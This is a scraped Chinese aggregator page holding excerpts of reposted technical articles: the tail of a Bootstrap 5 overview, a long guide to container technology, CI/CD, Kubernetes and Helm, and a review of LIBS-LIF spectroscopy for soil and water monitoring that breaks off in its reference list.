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...的Web内容可访问性标准(WCAG)。 为了帮助开发者更好地理解和掌握Bootstrap v5的新特性,社区涌现出大量教程文章和技术分享。例如,“深入浅出Bootstrap 5:全新特性解析与实战指南”一文详尽地解读了新版本的各项更新,并结合实例演示如何将这些新特性融入到实际项目中。同时,诸如“Bootstrap 5:打造无障碍、高性能网站的实战案例分析”等深度剖析文章,也从实践角度出发,探讨如何借助Bootstrap v5构建高效、易用且符合现代Web标准的网站。 总之,在快速迭代的前端领域,Bootstrap始终保持着与时俱进的步伐,为开发者提供强大而便捷的工具。了解并掌握Bootstrap最新版本的功能特性,无疑将有助于我们创建更美观、更适应多种设备环境的高质量网页应用。
2023-10-18 14:41:25
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...效率。 容器的OCI标准定义了容器镜像规范,容器镜像包与传统的压缩包(zip/tgz等)相比有两个关键区别点:1)分层存储;2)打包即部署。 分层存储可以极大减少镜像更新时候拉取镜像包的时间,通常应用程序更新升级都只是更新业务层(如Java程序的jar包),而镜像中的操作系统Lib层、运行时(如Jre)层等文件不会频繁更新。因此新版本镜像实质有变化的只有很小的一部分,在更新升级时候也只会从镜像仓库拉取很小的文件,所以速度很快。 打包即部署是指在容器镜像制作过程包含了传统软件包部署的过程(安装依赖的操作系统库或工具、创建用户、创建运行目录、解压、设置文件权限等等),这么做的好处是把应用及其依赖封装到了一个相对封闭的环境,减少了应用对外部环境的依赖,增强了应用在各种不同环境下的行为一致性,同时也减少了应用部署时间。 基于容器镜像的这些优势,容器镜像用到CI/CD场景下,可以减少CI/CD过程中的等待时间,减少因环境差异而导致的部署中断,从而提升CI/CD的效率,提升整体研发效率。 CI/CD的关键诉求与挑战 快 开发人员本地开发调试完成后,提交代码,执行构建与部署,等待部署完成后验证功能。这个等待的过程尽可能短,否则开发人员工作容易被打断,造成后果就是效率降低。如果提交代码后几秒钟就能够完成部署,那么开发人员几乎不用等待,工作也不会被打断;如果需要好几分钟或十几分钟,那么可以想象,这十几分钟就是浪费了,这时候很容易做点别的事情,那么思路又被打断了。 所以构建CI/CD环境时候,快是第一个需要考虑的因素。要达到快,除了有足够的机器资源免除排队等待,引入并行编译技术也是常用做法,如Maven3支持多核并行构建。 自定义流程 不同行业存在不同的行业规范、监管要求,各个企业有一套内部质量规范,这些要求都对软件交付流程有定制需求,如要求使用商用的代码扫描工具做安全扫描,如构建结果与企业内部通信系统对接发送消息。 在团队协同方面,不同的公司,对DevOps流程在不同团队之间分工有差异,典型的有开发者负责代码编写构建出构建物(如jar包),而部署模板、配置由运维人员负责;有的企业开发人员负责构建并部署到测试环境;有的企业开发人员直接可以部署到生产环境。这些不同的场景,对CI/CD的流程、权限管控都有定制需求。 提升资源利用率 OCI标准包含容器镜像标准与容器运行时标准两部分,容器运行时标准聚焦在定义如何将镜像包从镜像仓库拉取到本地并更新、如何隔离运行时资源这些方面。得益于分层存储与打包即部署的特性,容器镜像从到镜像仓库拉取到本地运行速度非常快(通常小于30秒,依赖镜像本身大小等因素),基于此可以实现按需分配容器运行时资源(cpu与内存),并限定单个容器资源用量;然后根据容器进程资源使用率设定弹性伸缩规则,实现自动的弹性伸缩。 这种方式相对于传统的按峰值配置资源方式,可以提升资源利用率。 按需弹性伸缩在体验与成本之间达成平衡 联动弹性伸缩 应用运行到容器,按需分配资源之后,理想情况下,Kubernetes的池子里没有空闲的资源。这时候扩容应用实例数,新扩容的实例会因资源不足调度失败。这时候需要资源池能自动扩容,加入新的虚拟机,调度新扩容的应用。 由于应用对资源的配比与Flavor有要求,因此新加入的虚拟机,应当是与应用所需要的资源配比与Flavor一致的。缩容也是类似。 弹性伸缩还有一个诉求点是“平滑”,对业务做到不感知,也称为“优雅”扩容/缩容。 请求风暴 上面提到的弹性伸缩一般是有计划或缓慢增压的场景,存在另外一种无法预期的请求风暴场景,这种场景的特征是无法预测、突然请求量增大数倍或数十倍、持续时间短。典型的例子如行情交易系统,当行情突变的时候,用户访问量徒增,持续几十分钟或一个小时。 这种场景的弹性诉求,要求短时间内能将资源池扩大数倍,关键是速度要快(秒级),否则会来不及扩容,系统已经被冲垮(如果无限流的话)。 目前基于 Virtual Kubelet 与云厂家的 Serverless 容器,理论上可以提供应对请求风暴的方案。不过在具体实施时候,需要考虑传统托管式Kubernetes容器管理平台与Serverless容器之间互通的问题,需要基于具体厂家提供的能力来评估。 基于容器技术实现计算调度平台 计算(大数据/AI训练等)场景的特征是短时间内需要大量算力,算完即释放。容器的环境一致性以及调度便利性适合这种场景。 技术选型 容器技术是属于基础设施范围,但是与传统虚拟化技术(Xen/KVM)比较,容器技术是应用虚拟化,不是纯粹的资源虚拟化,与传统虚拟化存在差异。在容器技术选型时候,需要结合当前团队在应用管理与资源管理的现状,对照容器技术与虚拟化技术的差异,选择最合适的容器技术栈。 什么是容器技术 (1)容器是一种轻量化的应用虚拟化技术。 在讨论具体的容器技术栈的时候,先介绍目前几种常用的应用虚拟化技术,当前有3种主流的应用虚拟化技术: LXC,MicroVM,UniKernel(LibOS)。 LXC: Linux Container,通过 Linux的 namespace/cgroups/chroot 等技术隔离进程资源,目前应用最广的docker就是基于LXC实现应用虚拟化的。 MicroVM: MicroVM 介于 传统的VM 与 LXC之间,隔离性比LXC好,但是比传统的VM要轻量,轻量体现在体积小(几M到几十M)、启动快(小于1s)。 AWS Firecracker 就是一种MicroVM的实现,用于AWS的Serverless计算领域,Serverless要求启动快,租户之间隔离性好。 UniKernel: 是一种专用的(特定编程语言技术栈专用)、单地址空间、使用 library OS 构建出来的镜像。UniKernel要解决的问题是减少应用软件的技术栈层次,现代软件层次太多导致越来越臃肿:硬件+HostOS+虚拟化模拟+GuestOS+APP。UniKernel目标是:硬件+HostOS+虚拟化模拟+APP-with-libos。 三种技术对比表: 开销 体积 启动速度 隔离/安全 生态 LXC 低(几乎为0) 小 快(等同进程启动) 差(内核共享) 好 MicroVM 高 大 慢(小于1s) 好 中(Kata项目) UniKernel 中 中 中 好 差 根据上述对比来看,LXC是应用虚拟化首选的技术,如果LXC无法满足隔离性要,则可以考虑MicroVM这种技术。当前社区已经在着手融合LXC与MicroVM这两种技术,从应用打包/发布调度/运行层面统一规范,Kubernetes集成Kata支持混合应用调度特性可以了解一下。 UniKernel 在应用生态方面相对比较落后,目前在追赶中,目前通过 linuxkit 工具可以在UniKernel应用镜像中使用docker镜像。这种方式笔者还未验证过,另外docker镜像运行起来之后,如何监控目前还未知。 从上述三种应用虚拟化技术对比,可以得出结论: (2)容器技术与传统虚拟化技术不断融合中。 再从规范视角来看容器技术,可以将容器技术定义为: (3)容器=OCI+CRI+辅助工具。 OCI规范包含两部分,镜像规范与运行时规范。简要的说,要实现一个OCI的规范,需要能够下载镜像并解压镜像到文件系统上组成成一个文件目录结构,运行时工具能够理解这个目录结构并基于此目录结构管理(创建/启动/停止/删除)进程。 容器(container)的技术构成就是实现OCI规范的技术集合。 对于不同的操作系统(Linux/Windows),OCI规范的实现技术不同,当前docker的实现,支持Windows与Linux与MacOS操作系统。当前使用最广的是Linux系统,OCI的实现,在Linux上组成容器的主要技术: chroot: 通过分层文件系统堆叠出容器进程的rootfs,然后通过chroot设置容器进程的根文件系统为堆叠出的rootfs。 cgroups: 通过cgroups技术隔离容器进程的cpu/内存资源。 namesapce: 通过pid, uts, mount, network, user namesapce 分别隔离容器进程的进程ID,时间,文件系统挂载,网络,用户资源。 网络虚拟化: 容器进程被放置到独立的网络命名空间,通过Linux网络虚拟化veth, macvlan, bridge等技术连接主机网络与容器虚拟网络。 存储驱动: 本地文件系统,使用容器镜像分层文件堆叠的各种实现驱动,当前推荐的是overlay2。 广义的容器还包含容器编排,即当下很火热的Kubernetes。Kubernetes为了把控容器调度的生态,发布了CRI规范,通过CRI规范解耦Kubelet与容器,只要实现了CRI接口,都可以与Kubelet交互,从而被Kubernetes调度。OCI规范的容器实现与CRI标准接口对接的实现是CRI-O。 辅助工具用户构建镜像,验证镜像签名,管理存储卷等。 容器定义 容器是一种轻量化的应用虚拟化技术。 容器=OCI+CRI+辅助工具。 容器技术与传统虚拟化技术不断融合中。 什么是容器编排与调度 选择了应用虚拟化技术之后,还需要应用调度编排,当前Kubernetes是容器领域内编排的事实标准,不管使用何种应用虚拟化技术,都已经纳入到了Kubernetes治理框架中。 Kubernetes 通过 CRI 接口规范,将应用编排与应用虚拟化实现解耦:不管使用何种应用虚拟化技术(LXC, MicroVM, LibOS),都能够通过Kubernetes统一编排。 当前使用最多的是docker,其次是cri-o。docker与crio结合kata-runtime都能够支持多种应用虚拟化技术混合编排的场景,如LXC与MicroVM混合编排。 docker(now): Moby 公司贡献的 docker 相关部件,当前主流使用的模式。 docker(daemon) 提供对外访问的API与CLI(docker client) containerd 提供与 kubelet 对接的 CRI 接口实现 shim负责将Pod桥接到Host namespace。 cri-o: 由 RedHat/Intel/SUSE/IBM/Hyper 公司贡献的实现了CRI接口的符合OCI规范的运行时,当前包括 runc 与 kata-runtime ,也就是说使用 cir-o 可以同时运行LXC容器与MicroVM容器,具体在Kata介绍中有详细说明。 CRI-O: 实现了CRI接口的进程,与 kubelet 交互 crictl: 类似 docker 的命令行工具 conmon: Pod监控进程 other cri runtimes: 其他的一些cri实现,目前没有大规模应用到生产环境。 容器与传统虚拟化差异 容器(container)的技术构成 前面主要讲到的是容器与编排,包括CRI接口的各种实现,我们把容器领域的规范归纳为南向与北向两部分,CRI属于北向接口规范,对接编排系统,OCI就属于南向接口规范,实现应用虚拟化。 简单来讲,可以这么定义容器: 容器(container) ~= 应用打包(build) + 应用分发(ship) + 应用运行/资源隔离(run)。 build-ship-run 的内容都被定义到了OCI规范中,因此也可以这么定义容器: 容器(container) == OCI规范 OCI规范包含两部分,镜像规范与运行时规范。简要的说,要实现一个OCI的规范,需要能够下载镜像并解压镜像到文件系统上组成成一个文件目录结构,运行时工具能够理解这个目录结构并基于此目录结构管理(创建/启动/停止/删除)进程。 容器(container)的技术构成就是实现OCI规范的技术集合。 对于不同的操作系统(Linux/Windows),OCI规范的实现技术不同,当前docker的实现,支持Windows与Linux与MacOS操作系统。当前使用最广的是Linux系统,OCI的实现,在Linux上组成容器的主要技术: chroot: 通过分层文件系统堆叠出容器进程的rootfs,然后通过chroot设置容器进程的根文件系统为堆叠出的rootfs。 cgroups: 通过cgroups技术隔离容器进程的cpu/内存资源。 namesapce: 通过pid, uts, mount, network, user namesapce 分别隔离容器进程的进程ID,时间,文件系统挂载,网络,用户资源。 网络虚拟化: 容器进程被放置到独立的网络命名空间,通过Linux网络虚拟化veth, macvlan, bridge等技术连接主机网络与容器虚拟网络。 存储驱动: 本地文件系统,使用容器镜像分层文件堆叠的各种实现驱动,当前推荐的是overlay2。 广义的容器还包含容器编排,即当下很火热的Kubernetes。Kubernetes为了把控容器调度的生态,发布了CRI规范,通过CRI规范解耦Kubelet与容器,只要实现了CRI接口,都可以与Kubelet交互,从而被Kubernetes调度。OCI规范的容器实现与CRI标准接口对接的实现是CRI-O。 容器与虚拟机差异对比 容器与虚拟机的差异可以总结为2点:应用打包与分发的差异,应用资源隔离的差异。当然,导致这两点差异的根基是容器是以应用为中心来设计的,而虚拟化是以资源为中心来设计的,本文对比容器与虚拟机的差异,更多的是站在应用视角来对比。 从3个方面对比差异:资源隔离,应用打包与分发,延伸的日志/监控/DFX差异。 1.资源隔离 隔离机制差异 容器 虚拟化 mem/cpu cgroup, 使用时候设定 require 与 limit 值 QEMU, KVM network Linux网络虚拟化技术(veth,tap,bridge,macvlan,ipvlan), 跨虚拟机或出公网访问:SNAT/DNAT, service转发:iptables/ipvs, SR-IOV Linux网络虚拟化技术(veth,tap,bridge,macvlan,ipvlan), QEMU, SR-IOV storage 本地存储: 容器存储驱动 本地存储:virtio-blk 差异引入问题与实践建议 应用程序未适配 cgroup 的内存隔离导致问题: 典型的是 JVM 虚拟机,在 JVM 启动时候会根据系统内存自动设置 MaxHeapSize 值,通常是系统内存的1/4,但是 JVM 并未考虑 cgroup 场景,读系统内存时候任然读取主机的内存来设置 MaxHeapSize,这样会导致内存超过 cgroup 限制从而导致进程被 kill 。问题详细阐述与解决建议参考Java inside docker: What you must know to not FAIL。 多次网络虚拟化问题: 如果在虚拟机内使用容器,会多一层网络虚拟化,并加入了SNAT/DNAT技术, iptables/ipvs技术,对网络吞吐量与时延都有影响(具体依赖容器网络方案),对问题定位复杂度变高,同时还需要注意网络内核参数调优。 典型的网络调优参数有:转发表大小 /proc/sys/net/netfilter/nf_conntrack_max 使用iptables 作为service转发实现的时候,在转发规则较多的时候,iptables更新由于需要全量更新导致非常耗时,建议使用ipvs。详细参考[华为云在 K8S 大规模场景下的 Service 性能优化实践](https://zhuanlan.zhihu.com/p/37230013)。 容器IP地址频繁变化不固定,周边系统需要协调适配,包括基于IP地址的白名单或防火墙控制策略需要调整,CMDB记录的应用IP地址需要适配动态IP或者使用服务名替代IP地址。 存储驱动带来的性能损耗: 容器本地文件系统是通过联合文件系统方式堆叠出来的,当前主推与默认提供的是overlay2驱动,这种模式应用写本地文件系统文件或修改已有文件,使用Copy-On-Write方式,也就是会先拷贝源文件到可写层然后修改,如果这种操作非常频繁,建议使用 volume 方式。 2.应用打包与分发 应用打包/分发/调度差异 容器 虚拟化 打包 打包既部署 一般不会把应用程序与虚拟机打包在一起,通过部署系统部署应用 分发 使用镜像仓库存储与分发 使用文件存储 调度运行 使用K8S亲和/反亲和调度策略 使用部署系统的调度能力 差异引入问题与实践建议 部署提前到构建阶段,应用需要支持动态配置与静态程序分离;如果在传统部署脚本中依赖外部动态配置,这部分需要做一些调整。 打包格式发生变化,制作容器镜像需要注意安全/效率因素,可参考Dockerfile最佳实践 容器镜像存储与分发是按layer来组织的,镜像在传输过程中放篡改的方式是传统软件包有差异。 3.监控/日志/DFX 差异 容器 虚拟化 监控 cpu/mem的资源上限是cgroup定义的;containerd/shim/docker-daemon等进程的监控 传统进程监控 日志采集 stdout/stderr日志采集方式变化;日志持久化需要挂载到volume;进程会被随机调度到其他节点导致日志需要实时采集否则分散很难定位 传统日志采集 问题定位 进程down之后自动拉起会导致问题定位现场丢失;无法停止进程来定位问题因为停止即删除实例 传统问题定位手段 差异引入问题实践与建议 使用成熟的监控工具,运行在docker中的应用使用cadvisor+prometheus实现采集与警报,cadvisor中预置了常用的监控指标项 对于docker管理进程(containerd/shim/docker-daemon)也需要一并监控 使用成熟的日志采集工具,如果已有日志采集Agent,则可以考虑将日志文件挂载到volume后由Agent采集;需要注意的是stderr/stdout输出也要一并采集 如果希望容器内应用进程退出后保留现场定位问题,则可以将Pod的restartPolicy设置为never,进程退出后进程文件都还保留着(/var/lib/docker/containers)。但是这么做的话需要进程没有及时恢复,会影响业务,需要自己实现进程重拉起。 团队配合 与周边的开发团队、架构团队、测试团队、运维团队评审并交流方案,与周边团队达成一致。 落地策略与注意事项 逐步演进过程中网络互通 根据当前已经存在的基础实施情况,选择容器化落地策略。通常使用逐步演进的方式,由于容器化引入了独立的网络namespace导致容器与传统虚拟机进程网络隔离,逐步演进过程中如何打通隔离的网络是最大的挑战。 分两种场景讨论: 不同服务集群之间使用VIP模式互通: 这种模式相对简单,基于VIP做灰度发布。 不同服务集群之间使用微服务点对点模式互通(SpringCloud/ServiceComb/Dubbo都是这一类): 这种模式相对复杂,在逐步容器化过程中,要求容器网络与传统虚拟机网络能够互通(难点是在虚拟机进程内能够直接访问到容器网络的IP地址),当前解决这个问题有几种方法。 自建Kubernetes场景,可使用开源的kube-router,kube-router 使用BGP协议实现容器网络与传统虚拟机网络之间互通,要求网络交换机支持BGP协议。 使用云厂商托管Kubernetes场景,选择云厂商提供的VPC-Router互通的网络插件,如阿里云的Terway网络插件, 华为云的Underlay网络模式。 选择物理机还是虚拟机 选择物理机运行容器还是虚拟机运行容器,需要结合基础设施与业务隔离性要求综合考虑。分两种场景:自建IDC、租用公有云。 自建IDC: 理想情况是使用物理机组成一个大集群,根据业务诉求,对资源保障与安全性要求高的应用,使用MicorVM方式隔离;普通应用使用LXC方式隔离。所有物理机在一个大集群内,方便削峰填谷提升资源利用率。 租用公有云:当前公有云厂家提供的裸金属服务价格较贵且只能包周期,使用裸金属性价比并不高,使用虚拟机更合适。 集群规模与划分 选择集群时候,是多个应用共用一个大集群,还是按应用分组分成多个小集群呢?我们把节点规模数量>=1000的定义为大集群,节点数<1000的定义为小集群。 大集群的优点是资源池共享容器,方便资源调度(削峰填谷);缺点是随着节点数量与负载数量的增多,会引入管理性能问题(需要量化): DNS 解析表变大,增加/删除 Service 或 增加/删除 Endpoint 导致DNS表刷新慢 K8S Service 转发表变大,导致工作负载增加/删除刷新iptables/ipvs记录变慢 etcd 存储空间变大,如果加上ConfigMap,可能导致 etcd 访问时延增加 小集群的优点是不会有管理性能问题,缺点是会导致资源碎片化,不容易共享。共享分两种情况: 应用之间削峰填谷:目前无法实现 计算任务与应用之间削峰填谷:由于计算任务是短时任务,可以通过上层的任务调度软件,在多个集群之间分发计算任务,从而达到集群之间资源共享的目的。 选择集群规模的时候,可以参考上述分析,结合实际情况选择适合的集群划分。 Helm? Helm是为了解决K8S管理对象散碎的问题,在K8S中并没有"应用"的概念,只有一个个散的对象(Deployment, ConfigMap, Service, etc),而一个"应用"是多个对象组合起来的,且这些对象之间还可能存在一定的版本配套关系。 Helm 通过将K8S多个对象打包为一个包并标注版本号形成一个"应用",通过 Helm 管理进程部署/升级这个"应用"。这种方式解决了一些问题(应用分发更方便)同时也引入了一些问题(引入Helm增加应用发布/管理复杂度、在K8S修改了对象后如何同步到Helm)。对于是否需要使用Helm,建议如下: 在自运维模式下不使用Helm: 自运维模式下,很多场景是开发团队交付一个运行包,运维团队负责部署与配置下发,内部通过兼容性或软件包与配置版本配套清单、管理软件包与配置的配套关系。 在交付软件包模式下使用Helm: 交付软件包模式下,Helm 这种把散碎组件组装为一个应用的模式比较适合,使用Helm实现软件包分发/部署/升级场比较简单。 Reference DOCKER vs LXC vs VIRTUAL MACHINES Cgroup与LXC简介 Introducing Container Runtime Interface (CRI) in Kubernetes frakti rkt appc-spec OCI 和 runc:容器标准化和 docker Linux 容器技术史话:从 chroot 到未来 Linux Namespace和Cgroup Java inside docker: What you must know to not FAIL QEMU,KVM及QEMU-KVM介绍 kvm libvirt qemu实践系列(一)-kvm介绍 KVM 介绍(4):I/O 设备直接分配和 SR-IOV [KVM PCI/PCIe Pass-Through SR-IOV] prometheus-book 到底什么是Unikernel? The Rise and Fall of the Operating System The Design and Implementation of the Anykernel and Rump Kernels UniKernel Unikernel:从不入门到入门 OSv 京东如何打造K8s全球最大集群支撑万亿电商交易 Cloud Native App Hub 更多云最佳实践 https://best.practices.cloud 本篇文章为转载内容。原文链接:https://blog.csdn.net/sinat_33155975/article/details/118013855。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-17 15:03:28
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...此,可以通过检验一组标准样品的元素浓度和对应的光谱强度,绘制出对应的标准曲线,从而根据曲线的得到未知样品的浓度值。 如图 2 (a)(b)所示,通过使用LIBS技术多次测定一系列含有Co元素的标准样品的光谱强度后取平均可以绘制出图 2 (b)所示的校正曲线[5]。同时可以计算出曲线的相关系数R^2、交叉验证均方差(RMSECV)和样品中Co元素的检出限(LOD)。 图 2 用LIBS和LIBS-LIF技术测定有效钴元素的光谱和校准曲线[5] (a) (b)使用LIBS技术测定,(c) (d)使用LIBS-LIF技术测定 1.1.3 LIBS技术的优缺点 随着LIBS技术的提高和广泛应用,其自身独特的优势也显示出来,其主要优点主要如下[6]: (1)样品不需要进行预处理或只需要稍微预处理。 (2)样品检测时间短,相较于传统的AAS、ICP-AES等技术检测需要几分钟到几小时的时间相比,LIBS技术检测只需要3-60秒。 (3)样品的检出限LOD高,对于低浓度样品检测更加灵敏精确。 (4)实验装置结构简单,便携性高。 (5)可用于远程遥感监测 (6)对于检测样品的损伤基本没有,十分适合对于文物遗迹等方面进行应用 LIBS技术也有着自身的缺陷,其中问题最大的就是相较于传统的AAS、ICP-AES等技术来说,LIBS的检测准确性低,只有5-20%。 但LIBS还有一个优点在于很容易与其他技术如激光诱导荧光技术(Laser induced fluorescence, LIF)、拉曼光谱(Raman)等技术联用,可以弥补LIBS技术的检测准确率低的缺陷,同时结合其他技术的优势提高竞争力[7]。 1.2 LIBS-LIF技术 LIBS技术常常与LIF技术联合使用,即LIBS-LIF技术。通过LIF技术对特征曲线信号的选择性加强作用,有效的提高了检测的准确率,改善了单独使用LIBS检测准确率低的缺陷。 LIBS-LIF技术在1979年由Measures, R. M.和Kwong, H. S.首次使用,用于各种样品中微量铬元素的选择性激发。 1.2.1 LIF技术的基本原理 LIF技术,是通过激光辐射激发原子或者分子,之后被照射的原子或分子自发发射出的荧光。 首先,调节入射激光的波长,从而改变入射激光的能量。之后,当入射激光的能量与检测区域中的气态分子或原子的能级差相同时,分子或原子将被激光共振激发跃迁至激发态,但是这种激发态并不稳定,会通过自发辐射释放出另一个光子能量并向下跃迁,同时发射出分子或原子荧光,这便是激光诱导荧光。 其中,分子或原子发射荧光的跃迁过程主要有共振荧光、直越线荧光、阶跃线荧光和多光子荧光四种,如图3所示[2]。元素被激发的直跃线荧光往往强度大,散射光干扰弱,故被常用。 图 3 分子或原子发射荧光的跃迁过程[2] 1.2.2 Co原子的LIBS-LIF增强原理 下面将以Co元素为例,说明LIBS-LIF技术的原理。 Co元素直跃线荧光的产生原理图如图 4所示[5]。波长为304.40nm的激光能量刚好等于Co原子基态到高能态(4.07eV)的能级差,Co原子被304.40nm的激发照射后跃迁至该能级。随后,该能级上的Co原子通过自发辐射释放能量跃迁至低能态(0.43eV),同时发出波长为304.51nm的荧光。因此,采用LIF的激发波长为304.40nm,光谱仪对应的检测波长为304.51nm。 图 4 Co元素直跃线荧光产生原理图[5] LIBS-LIF技术的装置如图 5所示[5],与LIBS装置不同的是其增加了一台可调激光器,如染料激光器、OPO激光器等。其用于激发特定元素的被之前LIBS激发出的等离子体。该激光平行于样品表面照射,不会对样品产生损伤。 图 5 LIBS-LIF实验装置图[5] 在本次Co元素的检测中,OPO激光器的波长为304.40nm。样品首先通过脉冲激光器垂直照射后产生等离子体,原理和LIBS技术一致。之后使用OPO激光器产生的304.40nm的激光照射等离子体,激发荧光信号,增强特征谱线的强度。最后通过光谱仪采集信号,在计算机上分析特征谱线。 LIBS-LIF技术对Co原子测定的光谱和校正曲线如图 2 (c)(d)所示。通过与(a)(b)图对可得到,使用LIBS-LIF技术明显增强了Co原子的特征谱线强度,同时定量分析得到的校正曲线的相关系数R^2、交叉验证均方差(RMSECV)和样品中Co元素的检出限(LOD)数值都有很好的改善。 2. LIBS-LIF技术用于土壤监测 土壤监测是LIBS-LIF技术的最传统应用方向之一。土壤成分复杂,蕴含多种微量元素,这些元素必须维持在合理的范围内。若如铬等相关微量元素过低,则会对作物的生长产生影响;而若铅等重金属元素过高,则表明土地受到了污染,种植出的作物可能存在重金属残留的问题。 2.1 早期研究 LIBS-LIF技术用于大气压下的土壤元素检测可以最早追溯到1997年Gornushkin等人使用LIBS技术联合大气紫外线测定石墨、土壤和钢中钴元素的可行性[8],其紫外线即起到作为LIF光源的作用。 之后,为了评估该技术在现场快速检测分析中的可行性,其使用了可以同时检测分析22种元素的Paschen-Runge光谱仪以发挥LIBS技术可以快速检测多种元素的优势。同时使用染料激光器作为LIF光源,使用LIBS-LIF技术对Cd和TI元素进行了信号选择性增强测量,排除了邻近元素谱线的干扰。但是对于Pb元素还无法检测[9]。 2.2 近期研究现状 华中科技大学GAO等人在2018年对土壤中难以检测的Sb元素使用LIBS-LIF技术进行检验,排除了检验Sb元素时邻近Si元素的干扰,并探讨了使用常规LIBS时在287nm-289nm的波长下不同的ICCD延时长度对信号强度的影响,以及使用LIBS-LIF技术时作为LIF光源的OPO激光器激光能量对Sb元素特征谱线信号强度与信噪比的影响、激光光源脉冲间延时长度对Sb元素特征谱线信号强度与信噪比的影响,由相关结果得到了最优实验条件[10],如图 6至图 8所示。 图 6 不同ICCD延迟时间下样品在287.0-289.0 nm波段的光谱 图 7 LIBS-LIF和常规LIBS得到的光谱比较 图 8 Sb特征谱线的强度和信噪比曲线 (A)Sb特征谱线的强度和信噪比随OPO激光能量的变化关系;(B)Sb特征谱线的强度和信噪比随两个激光器之间脉冲延迟的变化关系 近期,该实验室研究了利用LIBS-LIF测定土壤中的有效钴含量。该实验着重于研究检测土壤中能被植物吸收的元素,即有效元素,强化研究的实际意义;利用DPTA提取样品,增大检测浓度;使用LIBS-LIF测定有效钴含量,排除了相邻元素的干扰。 3. LIBS及LIBS-LIF技术用于水质监测 LIBS及LIBS-LIF技术用于水质检测的原理和流程土壤检测基本一致,但是面临着更多的挑战。在水样的元素定量测定中,水的溅射会干扰到光的传播和收集,从而降低采集的灵敏度;由于水中羟基(OH)的猝灭作用会使得激发的等离子体寿命较短,因此等离子体的辐射强度低,进而影响分析灵敏度[2]。同时,由于部分实验方式造成使用LIBS-LIF技术不太方便,只能使用传统LIBS技术。 因此,在使用LIBS技术进行检验时还需要做相关改进。最常见的就是进行样品的预处理,在样品制备上进行改进。 由文献[11]整理可知,样品的预处理主要可以分为液体直接检测、液固转换检测、液气转换检测三种。 3.1液体直接检测 液体直接检测主要有两种方式:将光聚焦在静态液体测量和将光聚焦在流动的液体测量两种。 最早期使用LIBS技术进行检验的就是直接将光聚焦在静态液体表面测量。但其精确度和灵敏度往往比将光聚焦在流动的液体测量低。Barreda等人比较了在静态、液体喷射态和液体流动态下硅油中的铂元素使用LIBS进行检测,最后液体喷射态和液体流动态下的LOD比静态下降低了7倍[12]。 但上述实验是在有气体保护下进行的结果。总体上看,液体直接检测并不是一个很好的选择。 图 9 液体分析的三种不同实验装置图[12] a液体喷射分析,b静态液体分析,c通道流动液体分析 3.2液固转换检测 液固转换法是检测中最常用的方法,其主要可以分为以下几类: 3.2.1吸附法 吸附法是最常用的预处理方式,利用可吸附材料吸收液体中的微量元素。常用的材料有碳平板、离子交换聚合物膜,或者滤纸、竹片等将液体转换为固体,从而进行分析。 2008年,华南理工大学Chen等人以木片作为基底吸附水溶液的方式测定了Cr、Mn、Cu、Cd、Pb五种金属元素在微量浓度下的校正曲线,其检出限比激光聚焦在页面上直接分析高出2-3个数量级[13]。之后2017年,同实验室的Kang等人以木片作为基底吸附水溶液的方式,使用LIBS-LIF技术对水中的痕量铅进行了高灵敏度测量,最后得到的铅元素的LOD为~0.32ppb,超过了传统实验室检测技术ICP-AES的检测方式,为国际领先水平[14]。 3.2.2成膜法 与吸附法相反,成膜法是将水样滴在非吸水性衬底上,如Si+SiO2衬底和多空电纺超细纤维等,然后干燥成膜,从而转化为固体进行分析。 3.2.3微萃取法 微萃取法是利用萃取剂和溶液中的微量元素化学反应来实现富集。其中,分散液液体微萃取(Dispersion liquid-liquid microextraction, DLLME)是一种简单、经济、富集倍数高、萃取效率高的方法,被广泛使用。 3.2.4冷冻法 将液体冷冻成为冰是液固转化的一种直接预处理方式,冰的消融可以防止液体飞溅和摇晃,从而改善液体分析性能。 3.2.5电沉积法 电沉积法是利用电化学反应,将液体中的样品转化为固体样品并进行预浓缩,之后用于检测。该方法可以使得灵敏度大大提高,但是实验设备也变得复杂,预处理工作量也有变大。 3.3液气转换检测 将液体转化为气溶胶可以使得样品更加稳定,从而产生更稳定的检测信号。可以使用超声波雾化器和膜干燥器等产生气溶胶,再进行常规的LIBS-LIF检测。 Aras等人使用超声波雾化器和薄膜干燥器单元产生亚微米级的气溶胶,实现了液气体转换,并在实际水样上测试了该超声雾化-LIBS系统的适用性,相关实验装置如图 10、图 11所示[15]。 图 10 用于金属气溶胶分析的LIBS实验装置图[15] M:532 nm反射镜,L:聚焦准直透镜,W:石英,P:泵浦,BD:光束转储 图 11 样品导入部分结构图[15] (A)与薄膜干燥器相连的USN颗粒发生器去溶装置(加热器和冷凝器);(B)与5个武装聚四氟乙烯等离子电池相连的薄膜干燥器。G:进气口,DU:脱溶装置,W:废料,MD:薄膜干燥机,L:激光束方向,C:样品池,M:反射镜,F.L.:聚焦透镜 4. 总结与展望 本文简要介绍了LIBS和LIBS-LIF的原理,并对LIBS-LIF在环境监测中的土壤监测和水质检测做了简要的介绍和分类。 LIBS-LIF在土壤监测的技术已经逐渐成熟,基本实现了土壤的快速检测,同时也有相关便携式设备的研究正在进行。对于水质监测方面,使用LIBS-LIF检测往往集中在液固转换法的使用上,对于气体和液体直接检测,由于部分实验装置的限制,联用LIF技术往往比较困难,只能使用传统的LIBS技术。 LIBS-LIF技术快速检测、不需要样品预处理或只需要简单处理、可以实现就地检测等优势与传统实验室检测相比有着独到的优势,虽然目前由于技术限制精度还不够高,但是在当前该领域的火热研究趋势下,相信未来该技术必定可以大放异彩,为绿色中国奉献光学领域的智慧。 参考文献 [1] Hu B, Jia X, Hu J, et al.Assessment of Heavy Metal Pollution and Health Risks in the Soil-Plant-Human System in the Yangtze River Delta, China[J].International Journal of Environmental Research and Public Health,2017, 14 (9): 1042. [2] 康娟. 基于激光剥离的物质元素高分辨高灵敏分析的新技术研究[D]. 华南理工大学,2020. [3] 马菲, 周健民, 杜昌文.激光诱导击穿原子光谱在土壤分析中的应用[J].土壤学报: 1-11. [4] Gaudiuso R, Dell'aglio M, De Pascale O, et al.Laser Induced Breakdown Spectroscopy for Elemental Analysis in Environmental, Cultural Heritage and Space Applications: A Review of Methods and Results[J].Sensors,2010, 10 (8): 7434-7468. [5] Zhou R, Liu K, Tang Z, et al.High-sensitivity determination of available cobalt in soil using laser-induced breakdown spectroscopy assisted with laser-induced fluorescence[J].Applied Optics,2021, 60 (29): 9062-9066. [6] Hussain Shah S K, Iqbal J, 